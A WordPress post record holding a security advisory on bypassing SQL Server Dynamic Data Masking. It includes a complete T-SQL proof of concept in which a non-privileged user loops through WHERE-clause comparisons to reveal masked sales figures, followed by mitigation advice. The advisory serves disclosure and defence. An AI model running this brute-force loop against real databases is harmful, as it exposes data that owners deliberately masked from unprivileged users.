{"id":59766,"date":"2024-09-17T20:29:44","date_gmt":"2024-09-17T17:29:44","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181575\/mssql-bruteforce.txt"},"modified":"2024-09-17T20:29:44","modified_gmt":"2024-09-17T17:29:44","slug":"microsoft-sql-server-masked-data-exposure","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/microsoft-sql-server-masked-data-exposure\/","title":{"rendered":"Microsoft SQL Server Masked Data Exposure"},"content":{"rendered":"<p>Title: SQL Server Masked Data Exposure Through Brute Force Attack<br \/>Product: Database<br \/>Manufacturer: Microsoft<br \/>Affected Version(s): SQL Server 2014, 2016,2017,2019,2022<br \/>Tested Version(s): SQL Server 2014, 2016,2017,2019,2022<br \/>Risk Level: Low<br \/>Security Feature: Dynamic Data Masking<br \/>Author of Advisory: Emad Al-Mousa<\/p>\n<p>*****************************************<br \/>Vulnerability Details And Back Ground:<\/p>\n<p>Microsoft SQL Server database system has a security feature called &#8220;dynamic data masking&#8221; , this feature is designed to redact\/mask column level values (columns containing sensitive data \u2026.for example credit card number\u2026etc).<\/p>\n<p>The feature is good but has many security weaknesses that organizations\/companies should be aware of. Among them is brute force technique against the \u201cwhere\u201d conditional clause to retrieve actual data values (numeric values).<\/p>\n<p>*****************************************<br \/>Proof of Concept (PoC):<\/p>\n<p>I will create database called demodb and create table called dbo.COMPANY and insert dummy data in it:<\/p>\n<p>create database demodb;<\/p>\n<p>USE [demodb]\n<p>GO<\/p>\n<p>SET ANSI_NULLS ON<\/p>\n<p>GO<\/p>\n<p>SET QUOTED_IDENTIFIER ON<\/p>\n<p>GO<\/p>\n<p>CREATE TABLE [dbo].[COMPANY](<\/p>\n[COMPANY_NAME] [nvarchar](max) NULL,<\/p>\n[SALES] [int] NULL<\/p>\n<p>) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]\n<p>GO<\/p>\n<p>USE [demodb]\n<p>GO<\/p>\n<p>INSERT INTO [dbo].[COMPANY]\n<p>([COMPANY_NAME]\n<p>,[SALES])<\/p>\n<p>VALUES<\/p>\n<p>(&#8216;COMPANY_C&#8217;,&#8217;93&#8217;)<\/p>\n<p>GO<\/p>\n<p>USE [demodb]\n<p>GO<\/p>\n<p>INSERT INTO [dbo].[COMPANY]\n<p>([COMPANY_NAME]\n<p>,[SALES])<\/p>\n<p>VALUES<\/p>\n<p>(&#8216;COMPANY_A&#8217;,&#8217;11&#8217;)<\/p>\n<p>GO<\/p>\n<p>USE [demodb]\n<p>GO<\/p>\n<p>INSERT INTO [dbo].[COMPANY]\n<p>([COMPANY_NAME]\n<p>,[SALES])<\/p>\n<p>VALUES<\/p>\n<p>(&#8216;COMPANY_B&#8217;,&#8217;78&#8217;)<\/p>\n<p>GO<\/p>\n<p>&#8212;&#8212; I will enable dynamic data masking function against SALES column:<\/p>\n<p>ALTER TABLE dbo.COMPANY<\/p>\n<p>ALTER COLUMN SALES INT MASKED WITH (FUNCTION = &#8216;default()&#8217;);<\/p>\n<p>&#8212;&#8212; Then, will create a user called reg_user that can only query the table, so the user will only see SALES column with complete masked data [ZERO values]:<\/p>\n<p>USE [demodb]\n<p>GO<\/p>\n<p>CREATE USER reg_user WITHOUT LOGIN;<\/p>\n<p>GRANT SELECT ON dbo.COMPANY to reg_user;<\/p>\n<p>EXECUTE AS USER = &#8216;reg_user&#8217;;<\/p>\n<p>SELECT * FROM dbo.COMPANY;<\/p>\n<p>REVERT;<\/p>\n<p>&#8212;&#8212; However, using the same non-privileged database account reg_user \u2026I will be able to extract Actual Values :<\/p>\n<p>EXECUTE AS USER = &#8216;reg_user&#8217;;<\/p>\n<p>DECLARE @sales_txt nvarchar(max);<\/p>\n<p>DECLARE @LCounter INT= 1;<\/p>\n<p>WHILE (@LCounter &lt; 99)<\/p>\n<p>BEGIN<\/p>\n<p>SET @sales_txt=(SELECT COMPANY_NAME+&#8217; sales is &#8216; +CAST (@LCounter as nvarchar)<\/p>\n<p>FROM dbo.COMPANY<\/p>\n<p>WHERE SALES=@LCounter)<\/p>\n<p>print @sales_txt<\/p>\n<p>SET @LCounter = @LCounter + 1<\/p>\n<p>END<\/p>\n<p>REVERT;<\/p>\n<p>Output:<\/p>\n<p>COMPANY_A sales is 11<\/p>\n<p>COMPANY_B sales is 78<\/p>\n<p>COMPANY_C sales is 93<\/p>\n<p>&#8212;&#8212; Actual values were successfully extracted from the masked column !<\/p>\n<p>*****************************************<\/p>\n<p>Protection Mechanisms:<\/p>\n<p>1. Ensure network firewall rules are in-place to ensure database accounts can be connected to the destination database server host from specific list of source hosts. This will add good<br \/>security protection layer especially if database account credentials were exposed.<\/p>\n<p>2. Implement Security Auditing against identified sensitive tables.<\/p>\n<p>3. Implement other security features along dynamic data masking such as encryption. of course Always Encrypted feature is the best in terms of data protection.<\/p>\n<p>*****************************************<br \/>References:<br \/>https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/security\/dynamic-data-masking?view=sql-server-ver16<br \/>https:\/\/databasesecurityninja.wordpress.com\/2023\/08\/08\/hacking-sql-server-dynamic-data-masking-feature-with-brute-force-technique\/<br \/>https:\/\/www.youtube.com\/watch?v=NiAg0sGsGtw<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Title: SQL Server Masked Data Exposure Through Brute Force AttackProduct: DatabaseManufacturer: MicrosoftAffected Version(s): SQL Server 2014, 2016,2017,2019,2022Tested Version(s): SQL Server 2014, 2016,2017,2019,2022Risk Level: LowSecurity Feature: Dynamic Data MaskingAuthor of Advisory: Emad Al-Mousa *****************************************Vulnerability Details And Back Ground: Microsoft SQL Server database system has a security feature called &#8220;dynamic data masking&#8221; , this feature is designed &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59766","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59766","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59766"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59766\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59766"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59766"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59766"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}